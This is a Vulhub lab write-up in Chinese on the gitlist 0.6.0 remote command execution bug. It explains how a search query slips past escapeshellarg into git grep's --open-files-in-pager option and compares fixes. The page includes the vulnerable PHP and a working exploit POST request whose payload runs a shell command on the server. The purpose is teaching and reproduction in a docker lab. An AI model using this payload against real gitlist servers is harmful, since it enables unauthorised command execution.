gitlist 0.6.0 遠程命令執行漏洞
Path gitlist/0.6.0-rce
gitlist是一款使用PHP開發的圖形化git倉庫查看工具。在其0.6.0版本中,存在一處命令參數注入問題,可以導致遠程命令執行漏洞。
環境搭建
執行如下命令啟動漏洞環境:
docker-compose up -d
環境啟動后,訪問http://your-ip:8080將看到一個名為example的倉庫。
漏洞原理
在用戶對倉庫中代碼進行搜索的時候,gitlist將調用git grep命令:
public function searchTree($query, $branch)
{
if (empty($query)) {
return null;
}
$query = escapeshellarg($query);
try {
$results = $this->getClient()->run($this, "grep -i --line-number {$query} $branch");
} catch (\RuntimeException $e) {
return false;
}
其中,$query是搜索的關鍵字,$branch是搜索的分支。
如果用戶輸入的$query的值是--open-files-in-pager=id;,將可以執行id命令:

導致這個漏洞的原因,有幾點:
- 開發者對于
escapeshellarg函數的誤解,造成參數注入 git grep的參數--open-files-in-pager的值,將被直接執行
理論上,在經過$query = escapeshellarg($query);處理后,$query將變成一個由單引號包裹的字符串。但不出漏洞的前提是,這個字符串應該出現在“參數值”的位置,而不是出現在參數選項(option)中。
我們可以試一下如下命令:
git grep -i --line-number -e '--open-files-in-pager=id;' master

如上圖,我將$query放在了-e參數的值的位置,此時它就僅僅是一個字符串而已,并不會被當成參數--open-files-in-pager。
這應該作為本漏洞的最佳修復方法,也是git官方對pattern可能是用戶輸入的情況的一種解決方案(以下說明來自man-page):
-e The next parameter is the pattern. This option has to be used for patterns starting with - and should be used in scripts passing user input to grep. Multiple patterns are combined by or.
當然,gitlist的開發者用了另一種修復方案:
public function searchTree($query, $branch)
{
if (empty($query)) {
return null;
}
$query = preg_replace('/(--?[A-Za-z0-9\-]+)/', '', $query);
$query = escapeshellarg($query);
try {
$results = $this->getClient()->run($this, "grep -i --line-number -- {$query} $branch");
} catch (\RuntimeException $e) {
return false;
}
首先用preg_replace將-開頭的非法字符移除,然后將$query放在--的后面。在命令行解析器中,--的意思是,此后的部分不會再包含參數選項(option):
A – signals the end of options and disables further option processing. Any arguments after the – are treated as filenames and arguments. An argument of - is equivalent to –.
If arguments remain after option processing, and neither the -c nor the -s option has been supplied, the first argument is assumed to be the name of a file containing shell commands. If bash is invoked in this fashion, $0 is set to the name of the file, and the positional parameters are set to the remaining arguments. Bash reads and executes commands from this file, then exits. Bash’s exit status is the exit status of the last command executed in the script. If no commands are executed, the exit status is 0. An attempt is first made to open the file in the current directory, and, if no file is found, then the shell searches the directories in PATH for the script.
舉個簡單的例子,如果我們需要查看一個文件名是--name的文件,我們就不能用cat --name來讀取,也不能用cat '--name',而必須要用cat -- --name。從這個例子也能看出,單引號并不是區分一個字符串是“參數值”或“選項”的標準。

所以官方這個修復方案也是可以接受的,只不過第一步的preg_replace有點影響正常搜索功能。
漏洞復現
發送如下數據包:
POST /example/tree/a/search HTTP/1.1
Host: your-ip:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Content-Length: 56
query=--open-files-in-pager=touch /tmp/success;
其中,我們訪問的是/example/tree/a/search,example是項目名稱,需要是目標gitlist上一個已存在的項目;a在正常情況下應該是分支的名稱,也就是"grep -i --line-number {$query} $branch"中的$branch,但因為我們的$query被當成了一個參數,所以$branch就應該被當做搜索的關鍵字。
如果沒有搜索結果的話,我們的命令是不會被執行的,所以我用了“a”這個關鍵字,只是為了保證能搜出結果,你也可以換成其他的試試。
數據包發送后,用docker-compose exec web bash進入容器中,可見/tmp/success已成功創建:

Vulhub 文檔
推薦文章: